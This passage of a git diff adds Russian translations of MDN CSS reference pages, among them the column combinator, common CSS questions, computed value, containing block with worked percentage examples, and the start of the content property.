+</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample('Example_2')}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Multicol', '#column-rule', 'column-rule')}}</td>
+   <td>{{Spec2('CSS3 Multicol')}}</td>
+   <td>Первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.properties.column-rule")}}</p>
diff --git a/files/ru/web/css/column_combinator/index.html b/files/ru/web/css/column_combinator/index.html
new file mode 100644
index 0000000000..9fad1a33a2
--- /dev/null
+++ b/files/ru/web/css/column_combinator/index.html
@@ -0,0 +1,95 @@
+---
+title: Комбинатор столбцов
+slug: Web/CSS/Column_combinator
+tags:
+  - Верстка
+  - Селекторы
+translation_of: Web/CSS/Column_combinator
+---
+<div>{{CSSRef("Selectors")}}{{Draft}}{{SeeCompatTable}}</div>
+
+<p><strong>Комбинатор столбцов</strong> (<code>||</code>) помещается между двумя селекторами CSS. Он соответствует только тем элементам, которым соответствует второй селектор, которые принадлежат элементам столбца, соответствующим первому.</p>
+
+<pre class="brush: css no-line-numbers">/* Ячейки таблицы, принадлежащие к столбцу "выделено" */
+col.selected || td {
+  background: gray;
+}
+</pre>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>column-selector</var> || <var>cell-selector</var> {
+  <var>/* свойства стиля */</var>
+}
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;table border="1"&gt;
+  &lt;colgroup&gt;
+    &lt;col span="2"/&gt;
+    &lt;col class="selected"/&gt;
+  &lt;/colgroup&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;A
+      &lt;td&gt;B
+      &lt;td&gt;C
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td colspan="2"&gt;D&lt;/td&gt;
+      &lt;td&gt;E&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td&gt;F&lt;/td&gt;
+      &lt;td colspan="2"&gt;G&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">col.selected || td {
+  background: gray;
+  color: white;
+  font-weight: bold;
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Examples", "100%")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#the-column-combinator", "column combinator")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.selectors.column")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTMLElement("col")}}</li>
+ <li>{{HTMLElement("colgroup")}}</li>
+ <li>{{CSSxRef("grid")}}</li>
+</ul>
diff --git a/files/ru/web/css/common_css_questions/index.html b/files/ru/web/css/common_css_questions/index.html
new file mode 100644
index 0000000000..cecfb92b82
--- /dev/null
+++ b/files/ru/web/css/common_css_questions/index.html
@@ -0,0 +1,182 @@
+---
+title: Common CSS questions
+slug: Web/CSS/Common_CSS_Questions
+translation_of: Learn/CSS/Howto/CSS_FAQ
+---
+<h2 id="Why_doesn't_my_CSS_which_is_valid_render_correctly">Why doesn't my CSS, which is valid, render correctly?</h2>
+
+<p>Браузер использует декларацию <code>DOCTYPE</code> чтобы выбрать, как именно отображать документ - в форме, более совместимой с современными стандартами или в форме,  которую будут поддерживать старые браузеры. Правильное использование декларациии <code>DOCTYPE</code> в начале вашего HTML кода повлияет на совместимость с современными стандартами веб браузеров.</p>
+
+<p>У современных браузеров есть два режима отображения веб-страниц:</p>
+
+<ul>
+ <li><em>Индивидуальный</em>: его также называют backwards-compatibility mode, даёт возможность устаревшим страницам отображаться так, как планировал автор, следуя уже не стандартным правилам отображения, которые использовались ещё старыми браузерами. Документы  с неполной, некорректной или отстутвующей <code>DOCTYPE</code> декларацией или с тем видом <code>DOCTYPE</code>, который использовался до 2001 года, будет отображён в индивидуальном режиме.</li>
+ <li><em>Стандартный</em>: в этом режиме браузер старается строго следовать стандартам W3C. Ожидается, что современные HTML страницы разработаны для браузеров, следуемых стандартам, и в результате, страницы с современным  <code>DOCTYPE</code> отображаются уже в стандартом режиме.</li>
+</ul>
+
+<p>Gecko-based browsers, have a third <em><a href="/en-US/docs/Gecko's_&quot;Almost_Standards&quot;_Mode" title="Gecko's_&quot;Almost_Standards&quot;_Mode">Almost Standards Mode</a></em> that has only a few minor quirks.</p>
+
+<p>This is a list of the most commonly used <code>DOCTYPE</code> declarations that will trigger Standards or Almost Standards mode:</p>
+
+<pre>&lt;!DOCTYPE html&gt; /* This is the HTML5 doctype. Given that each modern browser uses an HTML5
+                   parser, this is the recommended doctype */
+
+&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
+"http://www.w3.org/TR/html4/loose.dtd"&gt;
+
+&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd"&gt;
+
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;
+</pre>
+
+<h2 id="My_CSS_is_valid.2C_but_not_correctly_rendered" name="My_CSS_is_valid.2C_but_not_correctly_rendered">Why doesn't my CSS, which is valid, render at all?</h2>
+
+<p>To be applied, a CSS stylesheet must be served with a <code>text/css</code> MIME type. If the Web server doesn't serve it with this type, it won't be applied.</p>
+
+<h2 id="Difference_between_id_and_class" name="Difference_between_id_and_class">What is the difference between <code>id</code> and <code>class</code>?</h2>
+
+<p>HTML elements can have an id and/or class attribute. The id attribute assigns a name to the element it is applied to, and for valid markup, there can be only one element with that name. The class attribute assigns a class name to the element, and that name can be used on many elements within the page. CSS allows you to apply styles to particular id and/or class names.<br>
+ <br>
+ Use an id-specific style when you want to restrict the applied styling rules to one specific block or element. This style will only be used by the element with that particular id.<br>
+ <br>
+ Use a class-specific style when you want to apply the styling rules to many blocks and elements within the page.</p>
+
+<p>Stylesheets with fewer rules are usually more performant. It is therefore recommended to use classes as much as possible, and to reserve the use of id for specific uses (like to connect label and form elements or for styling elements that must be semantically unique).</p>
+
+<p>See <a href="/en-US/docs/CSS/Getting_Started/Selectors" title="CSS/Getting_Started/Selectors"> CSS selectors</a></p>
+
+<h2 id="Restoring_the_default_property_value" name="Restoring_the_default_property_value">How do I restore the default value of a property?</h2>
+
+<p>Initially CSS didn't provide a "default" keyword and the only way to restore the default value of a property is to explicitly re-declare that property.</p>
+
+<p>This has changed with CSS 2; the keyword <a href="/es/CSS/initial" title="initial">initial</a> is now a valid value for a CSS property. It resets it to its default value, which is defined in the CSS specification of the given property.</p>
+
+<h2 id="Derived_styles" name="Derived_styles">How do I derive one style from another?</h2>
+
+<p>CSS does not allow one style to be defined in terms of another. (See <a href="http://archivist.incutio.com/viewlist/css-discuss/2685">Eric Meyer's note about the Working Group's stance</a>). However, assigning multiple classes to a single element can provide the same effect.</p>
+
+<h2 id="Assigning_multiple_classes" name="Assigning_multiple_classes">How do I assign multiple classes to an element?</h2>
+
+<p>HTML elements can be assigned multiple classes by listing the classes in the <code>class</code> attribute, with a blank space to separate them.</p>
+
+<pre>&lt;style type="text/css"&gt;
+.news { background: black; color: white; }
+.today { font-weight: bold; }
+&lt;/style&gt;
+
+&lt;div class="news today"&gt;
+... content of today's news ...
+&lt;/div&gt;
+</pre>
+
+<p>If the same property is declared in both rules, the conflict is resolved first through specificity, then according to the order of the CSS declarations. The order of classes in the <code>class</code> attribute is not relevant.</p>
+
+<h2 id="Style_rules_that_don.27t_work" name="Style_rules_that_don.27t_work">Why don't my style rules work properly?</h2>
+
+<p>Style rules that are syntactically correct may not apply in certain situations. You can use <a href="/en-US/docs/DOM_Inspector" title="DOM_Inspector">DOM Inspector</a>'s <em>CSS Style Rules</em> view to debug problems of this kind, but the most frequent instances of ignored style rules are listed below.</p>
+
+<h3 id="HTML_elements_hierarchy" name="HTML_elements_hierarchy">HTML elements hierarchy</h3>
+
+<p>The way CSS styles are applied to HTML elements depends also on the elements hierarchy. It is important to remember that a rule applied to a descendent overrides the style of the parent, in spite of any specificity or priority of CSS rules.</p>
+
+<pre>.news { color: black; }
+.corpName { font-weight: bold; color: red; }
+
+&lt;!-- news item text is black, but corporate name is red and in bold --&gt;
+&lt;div class="news"&gt;
+   (Reuters) &lt;span class="corpName"&gt;General Electric&lt;/span&gt; (GE.NYS) announced on Thursday...
+&lt;/div&gt;
+</pre>
+
+<p>In case of complex HTML hierarchies, if a rule seems to be ignored, check if the element is inside another element with a different style.</p>
+
+<h3 id="Explicitly_re-defined_style_rule" name="Explicitly_re-defined_style_rule">Explicitly re-defined style rule</h3>
+
+<p>In CSS stylesheets, order <strong>is</strong> important. If you define a rule and then you re-define the same rule, the last definition is used.</p>
+
+<pre>#stockTicker { font-weight: bold; }
+.stockSymbol { color: red; }
+/*  other rules             */
+/*  other rules             */
+/*  other rules             */
+.stockSymbol { font-weight: normal; }
+
+&lt;!-- most text is in bold, except "GE", which is red and not bold --&gt;
+&lt;div id="stockTicker"&gt;
+   NYS: &lt;span class="stockSymbol"&gt;GE&lt;/span&gt; +1.0 ...
+&lt;/div&gt;
+</pre>
+
+<p>To avoid this kind of error, try to define rules only once for a certain selector, and group all rules belonging to that selector.</p>
+
+<h3 id="Use_of_a_shorthand_property" name="Use_of_a_shorthand_property">Use of a shorthand property</h3>
+
+<p>Using shorthand properties for defining style rules is good because it uses a very compact syntax. Using shorthand with only some attributes is possible and correct, but it must be remembered that undeclared attributes are automatically reset to default. This means that a previous rule for a single attribute could be implicitly overridden.</p>
+
+<pre>#stockTicker { font-size: 12px; font-family: Verdana; font-weight: bold; }
+.stockSymbol { font: 14px Arial; color: red; }
+
+&lt;div id="stockTicker"&gt;
+   NYS: &lt;span class="stockSymbol"&gt;GE&lt;/span&gt; +1.0 ...
+&lt;/div&gt;
+</pre>
+
+<p>In the previous example the problem occurred on rules belonging to different elements, but it could happen also for the same element, because rule order <strong>is</strong> important.</p>
+
+<pre>#stockTicker {
+   font-weight: bold;
+   font: 12px Verdana;  /* font-weight is now normal */
+}
+</pre>
+
+<h3 id="Use_of_the_.2A_selector" name="Use_of_the_.2A_selector">Use of the <code>*</code> selector</h3>
+
+<p>The <code>*</code> wildcard selector refers to any element, and it has to be used with particular care.</p>
+
+<pre>body * { font-weight: normal; }
+#stockTicker { font: 12px Verdana; }
+.corpName { font-weight: bold; }
+.stockUp { color: red; }
+
+&lt;div id="section"&gt;
+   NYS: &lt;span class="corpName"&gt;&lt;span class="stockUp"&gt;GE&lt;/span&gt;&lt;/span&gt; +1.0 ...
+&lt;/div&gt;
+</pre>
+
+<p>In this example the <code>body *</code> selector applies the rule to all elements inside body, at any hierarchy level, including the .stockUp class. So <code>font-weight: bold;</code> applied to the .corpName class is overridden by <code>font-weight: normal;</code> applied to all elements in the body.</p>
+
+<p>The use of the * selector should be minimized as it is a slow selector, especially when not used as the first element of a selector. Its use should be avoided as much as possible.</p>
+
+<h3 id="Specificity_in_CSS" name="Specificity_in_CSS">Specificity in CSS</h3>
+
+<p>When multiples rules apply to a certain element, the rule chosen depends on its style <a href="/en-US/docs/CSS/Specificity" title="Specificity">specificity</a>. Inline style (in HTML <code>style</code> attributes) comes first, followed by ID selectors, then class selectors and eventually element-name selectors.</p>
+
+<pre>div { color: black; }
+#orange { color: orange; }
+.green { color: green; }
+
+&lt;div id="orange" class="green" style="color: red;"&gt;This is red&lt;/div&gt;
+</pre>
+
+<p>The rules are more complicated when the selector has multiple parts. More detailed information about how selector specificity is calculated can be found in the <a href="http://www.w3.org/TR/CSS21/cascade.html#specificity">CSS 2.1 Specification chapter 6.4.3</a>.</p>
+
+<h2 id="What_do_the_-moz-.2A_properties_do.3F" name="What_do_the_-moz-.2A_properties_do.3F">What do the -moz-*, -ms-*, -webkit-*, -o-* and -khtml-* properties do?</h2>
+
+<p>These properties, called <em>prefixed properties</em>, are extensions to the CSS standard. They are used to use experimental and non-standard features without polluting the regular namespace, preventing future incompatibilities to arise when the standard is extended.</p>
+
+<p>The use of such properties on production websites is not recommended. If nevertheless needed, you are hinted to make a plan for the website evolution: these prefixed properties can be modified or even suppressed when the standard evolves.</p>
+
+<p>Please see the <a href="/en-US/docs/CSS/CSS_Reference/Mozilla_Extensions" title="CSS Reference/Mozilla Extensions">Mozilla CSS Extensions</a> page for more information on the Mozilla-prefixed CSS properties.</p>
+
+<h2 id="How_does_z-index_relate_to_positioning">How does z-index relate to positioning?</h2>
+
+<p>The z-index property specifies the stack order of elements.</p>
+
+<p>An element with a higher z-index/stack order is always in front of an element with a lower z-index/stack order.</p>
+
+<p>Z-index will only work on elements that have a specified position (<code>position:absolute</code>, <code>position:relative</code>, or <code>position:fixed</code>).</p>
diff --git a/files/ru/web/css/computed_value/index.html b/files/ru/web/css/computed_value/index.html
new file mode 100644
index 0000000000..964fb73790
--- /dev/null
+++ b/files/ru/web/css/computed_value/index.html
@@ -0,0 +1,55 @@
+---
+title: Вычисленное значение
+slug: Web/CSS/computed_value
+tags:
+  - CSS
+  - Guide
+  - Web
+translation_of: Web/CSS/computed_value
+---
+<div>{{cssref}}</div>
+
+<p><strong>Вычисленное значение</strong> CSS свойства вычисляется из указанного значения посредством:</p>
+
+<ul>
+ <li>Обработки специальных значений {{cssxref("inherit")}} и {{cssxref("initial")}}, а также</li>
+ <li>Выполнения вычислений необходимых для получения значения, описанного в строке "Обработка значения" в описании свойства.</li>
+</ul>
+
+<p>Вычисления необходимые для получения <strong>вычисленного значения</strong> для свойства обычно включают в себя преобразование относительных значений (например, находящиеся в единицах <code>em</code> или в процентах) в абсолютные значения.</p>
+
+<p>Например, если у элемента указаны значения <code>font-size: 16px</code> и <code>padding-top: 2em</code>, то вычисленное значение <code>padding-top</code> будет <code>32px</code> (двойной размер шрифта).</p>
+
+<p>Однако, для некоторых свойств <em>(таких, где проценты относительны к чему-то, что может потребовать лэйаут определять(переопределить) границы, например, <code>width</code>, <code>margin-right</code>, <code>text-indent</code> и <code>top</code>)</em>, процентно указанные значения преобразуются в процентно вычисляемые значения. Кроме того, безразмерные числа, указанные в свойстве <code>line-height</code> становятся вычисленными значениями. Эти относительные единицы, которые остались в вычисленных значениях, становятся абсолютными, когда  <a href="/ru/docs/CSS/used_value">используемое значение</a> установлено.</p>
+
+<p>Основная сфера применения<strong> <em>вычисленного значения</em></strong> <em>(кроме как использования его как "шага" между <a href="/ru/docs/Web/CSS/Указанное_значение">указанным</a> и <a href="/ru/docs/Web/CSS/used_value">используемым</a> значением) </em>является <a class="internal" href="/ru/docs/Web/CSS/inheritance">наследование</a>, включая ключевое слово {{cssxref("inherit")}}.</p>
+
+<h2 id="Замечания">Замечания</h2>
+
+<p>DOM API {{domxref("Window.getComputedStyle", "getComputedStyle()")}} возвращает {{cssxref("resolved_value", "решённое значение")}}, которое может быть либо {{cssxref("computed_value", "вычисляемым")}} или {{cssxref("used_value", "используемым")}} значением, в зависимости от свойства.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS2.1", "cascade.html#computed-value", "computed value")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/CSS/Reference">Руководство по CSS</a></li>
+ <li>{{CSS_key_concepts}}</li>
+</ul>
diff --git a/files/ru/web/css/containing_block/index.html b/files/ru/web/css/containing_block/index.html
new file mode 100644
index 0000000000..a441429524
--- /dev/null
+++ b/files/ru/web/css/containing_block/index.html
@@ -0,0 +1,271 @@
+---
+title: Разметка и содержащий блок
+slug: Web/CSS/Containing_block
+translation_of: Web/CSS/Containing_block
+---
+<div>{{cssref}}</div>
+
+<p class="summary" dir="ltr">На размер и позицию элемента часто влияет его <strong>содержащий блок</strong> (containing block). Чаще всего содержащим блоком является content область (<a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#content-area">content area</a>) ближайшего блочного (<a href="/en-US/docs/Web/HTML/Block-level_elements">block-level</a>) предка, но это не всегда так. <span class="seoSummary">В этой статье мы рассмотрим факторы, которые</span> определяют <span class="seoSummary">содержащий блок элемента.</span></p>
+
+<p class="summary" dir="ltr">Когда пользовательский агент (такой как ваш браузер) делает разметку документа, он создает бокс (box) для каждого элемента. Каждый бокс разделяется на следующие области:</p>
+
+<ol dir="ltr" start="1">
+ <li>Сontent область или область контента (content area).</li>
+ <li>Padding область или область внутреннего поля (padding area).</li>
+ <li>Border область или область границы (border area).</li>
+ <li>Margin область или область внешнего поля (margin area).</li>
+</ol>
+
+<p><img alt="Diagram of the box model" src="https://mdn.mozillademos.org/files/16558/box-model.png" style="height: 300px; width: 544px;"></p>
+
+<p dir="ltr">Многие разработчики верят, что содержащий блок элемента - это всегда content область его родителя, но это не всегда является правдой. Давайте исследуем факторы, которые определяют, что представляет собой содержащий элемент блок.</p>
+
+<h2 dir="ltr" id="Эффекты_содержащего_блока">Эффекты содержащего блока</h2>
+
+<p dir="ltr">Перед изучением того, что определяет содержащий блок элемента, будет полезно сначала узнать, почему этот блок так важен.</p>
+
+<p dir="ltr">На размер и положение элемента часто влияет его содержащий блок. </p>
+
+<p dir="ltr">Значения заданные в процентах для свойств {{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("padding")}}, {{cssxref("margin")}}, и свойства задающие смещение абсолютно позиционированного элемента (т.е., такого, у которого свойство {{cssxref("position")}} имеет значение <code>absolute</code> или <code>fixed</code>) рассчитываются исходя из его содержащего блока.</p>
+
+<h2 dir="ltr" id="Определение_содержащего_блока">Определение содержащего блока</h2>
+
+<p dir="ltr">Определение содержащего блока элемента полностью зависит от значения свойства {{cssxref("position")}}:</p>
+
+<ol dir="ltr" start="1">
+ <li>Если свойство <code>position</code> имеет значение  <code><strong>static</strong></code>,<strong> </strong><code><strong>relative</strong></code>, или <strong><code>sticky</code></strong>, то содержащий блок задается краем <em>content бокса</em> ближайшего предка, который:
+
+  <ul>
+   <li>либо является <strong>блочным контейнером</strong> (block container), например, если его свойство display имеет значение inline-block, block или list-item.</li>
+   <li>либо <strong>устанавливает контекст форматирования</strong> (formatting context), например, контейнер таблицы (table container), flex-контейнер (flex container), grid-контейнер (grid container) или блочный контейнер (block container).</li>
+  </ul>
+ </li>
+ <li>Если свойство <code>position</code><strong> </strong>имеет значение <code><strong>absolute</strong></code>, то содержащий блок задается краем <em>padding бокса</em> ближайшего предка, у которого свойство <code>position</code><strong> </strong>имеет значение отличное от <code>static</code> (<code>fixed</code>, <code>absolute</code>, <code>relative</code> или <code>sticky</code>).</li>
+ <li>Если свойство <code>position</code><strong> </strong>имеет значение <code><strong>fixed</strong></code>, то содержащий блок задается:
+  <ul>
+   <li>в случае непрерывного медиа (continuous media) областью просмотра (вьюпорт - {{glossary("viewport")}});</li>
+   <li>в случае страничного медиа (paged media) областью страницы.</li>
+  </ul>
+ </li>
+ <li>Если свойство <code>position</code><strong> </strong>имеет значение <code><strong>absolute</strong></code> или <code><strong>fixed</strong></code>, то содержащий блок может также задаваться краем padding бокса ближайшего предка, у которого:
+  <ol start="1">
+   <li>Свойство {{cssxref("transform")}} или {{cssxref("perspective")}} имеет значение отличное от <code>none</code>.</li>
+   <li>Свойство {{cssxref("will-change")}} имеет значение <code>transform</code> или <code>perspective</code>.</li>
+   <li>Свойство {{cssxref("filter")}}<strong> </strong> имеет значение отличное от <code>none</code> или <code>will-change</code> value of <code>filter</code> (работает только в Firefox).</li>
+   <li>Свойство {{cssxref("contain")}} имеет значение <code>paint</code> (например, <code>contain: paint;</code>).</li>
+  </ol>
+ </li>
+</ol>
+
+<div class="note">
+<p dir="ltr"><strong>Примечание: </strong>Содержащий блок в котором находится корневой элемент ({{HTMLElement("html")}}) представляет собой прямоугольник, который называется <strong>начальный содержащий блок</strong>. Он имеет размеры области просмотра (вьюпорт - viewport) для непрерывного медиа (continuous media) или области страницы (page area) для страничного медиа (paged media).</p>
+</div>
+
+<h2 dir="ltr" id="Calculating_percentage_values_from_the_containing_block">Calculating percentage values from the containing block</h2>
+
+<p dir="ltr">As noted above, when certain properties are given a percentage value, the computed value depends on the element's containing block. The properties that work this way are <strong>box model properties</strong> and <strong>offset properties</strong>:</p>
+
+<ol dir="ltr" start="1">
+ <li>The {{cssxref("height")}}, {{cssxref("top")}}, and {{cssxref("bottom")}} properties compute percentage values from the <code>height</code><strong> </strong>of the containing block.</li>
+ <li>The {{cssxref("width")}}, {{cssxref("left")}}, {{cssxref("right")}}, {{cssxref("padding")}}, and {{cssxref("margin")}} properties compute percentage values from the <code>width</code><strong> </strong>of the containing block.</li>
+</ol>
+
+<h2 dir="ltr" id="Some_examples">Some examples</h2>
+
+<p dir="ltr">The HTML code for all our examples is:</p>
+
+<pre class="brush: html" dir="ltr">&lt;body&gt;
+  &lt;section&gt;
+    &lt;p&gt;This is a paragraph!&lt;/p&gt;
+  &lt;/section&gt;
+&lt;/body&gt;
+</pre>
+
+<p dir="ltr">Only the CSS is altered in each instance below.</p>
+
+<h3 id="Example_1">Example 1</h3>
+
+<p>In this example, the paragraph is statically positioned, so its containing block is {{HTMLElement("section")}} because it's the nearest ancestor that is a block container.</p>
+
+<div class="hidden">
+<pre class="brush: html" dir="ltr">&lt;body&gt;
+  &lt;section&gt;
+    &lt;p&gt;This is a paragraph!&lt;/p&gt;
+  &lt;/section&gt;
+&lt;/body&gt;
+</pre>
+</div>
+
+<pre class="brush: css" dir="ltr">body {
+  background: beige;
+}
+
+section {
+  display: block;
+  width: 400px;
+  height: 160px;
+  background: lightgray;
+}
+
+p {
+  width: 50%;   /* == 400px * .5 = 200px */
+  height: 25%;  /* == 160px * .25 = 40px */
+  margin: 5%;   /* == 400px * .05 = 20px */
+  padding: 5%;  /* == 400px * .05 = 20px */
+  background: cyan;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Example_1','100%','300')}}</p>
+
+<h3 id="Example_2">Example 2</h3>
+
+<p>In this example, the paragraph's containing block is the {{HTMLElement("body")}}<strong> </strong>element, because <code>&lt;section&gt;</code> is not a block container (because of <code>display: inline</code>) and doesn’t establish a formatting context.</p>
+
+<div class="hidden">
+<pre class="brush: html" dir="ltr">&lt;body&gt;
+  &lt;section&gt;
+    &lt;p&gt;This is a paragraph!&lt;/p&gt;
+  &lt;/section&gt;
+&lt;/body&gt;
+</pre>
+</div>
+
+<pre class="brush: css" dir="ltr">body {
+  background: beige;
+}
+
+section {
+  display: inline;
+  background: lightgray;
+}
+
+p {
+  width: 50%;     /* == half the body's width */
+  height: 200px;  /* Note: a percentage would be 0 */
+  background: cyan;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Example_2','100%','300')}}</p>
+
+<h3 id="Example_3">Example 3</h3>
+
+<p>In this example, the paragraph's containing block is <code>&lt;section&gt;</code> because the latter's <code>position</code> is <code>absolute</code>. The paragraph's percentage values are affected by the <code>padding</code> of its containing block, though if the containing block's {{cssxref("box-sizing")}} value were <code>border-box</code> this would not be the case.</p>
+
+<div class="hidden">
+<pre class="brush: html" dir="ltr">&lt;body&gt;
+  &lt;section&gt;
+    &lt;p&gt;This is a paragraph!&lt;/p&gt;
+  &lt;/section&gt;
+&lt;/body&gt;
+</pre>
+</div>
+
+<pre class="brush: css" dir="ltr">body {
+  background: beige;
+}
+
+section {
+  position: absolute;
+  left: 30px;
+  top: 30px;
+  width: 400px;
+  height: 160px;
+  padding: 30px 20px;
+  background: lightgray;
+}
+
+p {
+  position: absolute;
+  width: 50%;   /* == (400px + 20px + 20px) * .5 = 220px */
+  height: 25%;  /* == (160px + 30px + 30px) * .25 = 55px */
+  margin: 5%;   /* == (400px + 20px + 20px) * .05 = 22px */
+  padding: 5%;  /* == (400px + 20px + 20px) * .05 = 22px */
+  background: cyan;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Example_3','100%','300')}}</p>
+
+<h3 id="Example_4">Example 4</h3>
+
+<p>In this example, the paragraph's <code>position</code> is <code>fixed</code>, so its containing block is the initial containing block (on screens, the viewport). Thus, the paragraph's dimensions change based on the size of the browser window.</p>
+
+<div class="hidden">
+<pre class="brush: html" dir="ltr">&lt;body&gt;
+  &lt;section&gt;
+    &lt;p&gt;This is a paragraph!&lt;/p&gt;
+  &lt;/section&gt;
+&lt;/body&gt;
+</pre>
+</div>
+
+<pre class="brush: css" dir="ltr">body {
+  background: beige;
+}
+
+section {
+  width: 400px;
+  height: 480px;
+  margin: 30px;
+  padding: 15px;
+  background: lightgray;
+}
+
+p {
+  position: fixed;
+  width: 50%;   /* == (50vw - (width of vertical scrollbar)) */
+  height: 50%;  /* == (50vh - (height of horizontal scrollbar)) */
+  margin: 5%;   /* == (5vw - (width of vertical scrollbar)) */
+  padding: 5%;  /* == (5vw - (width of vertical scrollbar)) */
+  background: cyan;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Example_4','100%','300')}}</p>
+
+<h3 id="Example_5">Example 5</h3>
+
+<p>In this example, the paragraph's <code>position</code> is <code>absolute</code>, so its containing block is <code>&lt;section&gt;</code>, which is the nearest ancestor with a {{cssxref("transform")}} property that isn't <code>none</code>.</p>
+
+<div class="hidden">
+<pre class="brush: html" dir="ltr">&lt;body&gt;
+  &lt;section&gt;
+    &lt;p&gt;This is a paragraph!&lt;/p&gt;
+  &lt;/section&gt;
+&lt;/body&gt;
+</pre>
+</div>
+
+<pre class="brush: css" dir="ltr">body {
+  background: beige;
+}
+
+section {
+  transform: rotate(0deg);
+  width: 400px;
+  height: 160px;
+  background: lightgray;
+}
+
+p {
+  position: absolute;
+  left: 80px;
+  top: 30px;
+  width: 50%;   /* == 200px */
+  height: 25%;  /* == 40px */
+  margin: 5%;   /* == 20px */
+  padding: 5%;  /* == 20px */
+  background: cyan;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Example_5','100%','300')}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{css_key_concepts}}</li>
+ <li>The {{cssxref("all")}} property resets all CSS declarations to a given known state</li>
+</ul>
diff --git a/files/ru/web/css/content/index.html b/files/ru/web/css/content/index.html
new file mode 100644
index 0000000000..f708e7db61
--- /dev/null
+++ b/files/ru/web/css/content/index.html
@@ -0,0 +1,293 @@
+---
+title: content
+slug: Web/CSS/content
+tags:
+  - Контекст
+translation_of: Web/CSS/content
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a>-свойство <strong><code>content</code></strong> заменяет элемент сгенерированным значением. Объекты, добавленные с помощью свойства <code>content</code> являются <em>анонимными  </em>property are <em>anonymous <a href="/en-US/docs/Web/CSS/Replaced_element">замещаемыми элементами</a>.</em></p>
+
+<pre class="brush:css no-line-numbers">/* Ключевые слова, которые нельзя комбинировать с другими значениями */
+content: normal;
+content: none;
+
+/* значение &lt;url&gt;  */
+content: url("http://www.example.com/test.png");
+
+/* значение <a href="/en-US/docs/Web/CSS/image">&lt;image&gt;</a>  */
+content: linear-gradient(#e66465, #9198e5);
+
+/* указанные ниже значения могут быть применены только к сгенерированному контенту с использованием ::before и ::after */
+
+/* значение &lt;string&gt;  */
+content: "prefix";
+
+/* значения &lt;counter&gt; */
+content: counter(chapter_counter);
+content: counters(section_counter, ".");
+
+/* значение attr() связано со значением атрибута HTML */
+content: attr(value string);
+
+/* языко- и позиция-зависимые ключевые слова */
+content: open-quote;
+content: close-quote;
+content: no-open-quote;
+content: no-close-quote;
+
+/* несколько значений могут использоваться вместе */
+content: open-quote chapter_counter;
+
+/* глобальные значения */
+content: inherit;
+content: initial;
+content: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Псевдоэлемент не генерируется.</dd>
+ <dt><code>normal</code></dt>
+ <dd>Вычисляется <code>none</code> для псевдоэлементов <code>::before</code> и<code>::after</code>.</dd>
+ <dt>{{cssxref("&lt;string&gt;")}}</dt>
+ <dd>Любое количество текстовых символов. Нелатинские символы должны быть закодированы с использованием их escape-последовательности Unicode: например, <code>\000A9</code> представляет собой символ авторского права.</dd>
+ <dt>{{cssxref("&lt;url&gt;")}}</dt>
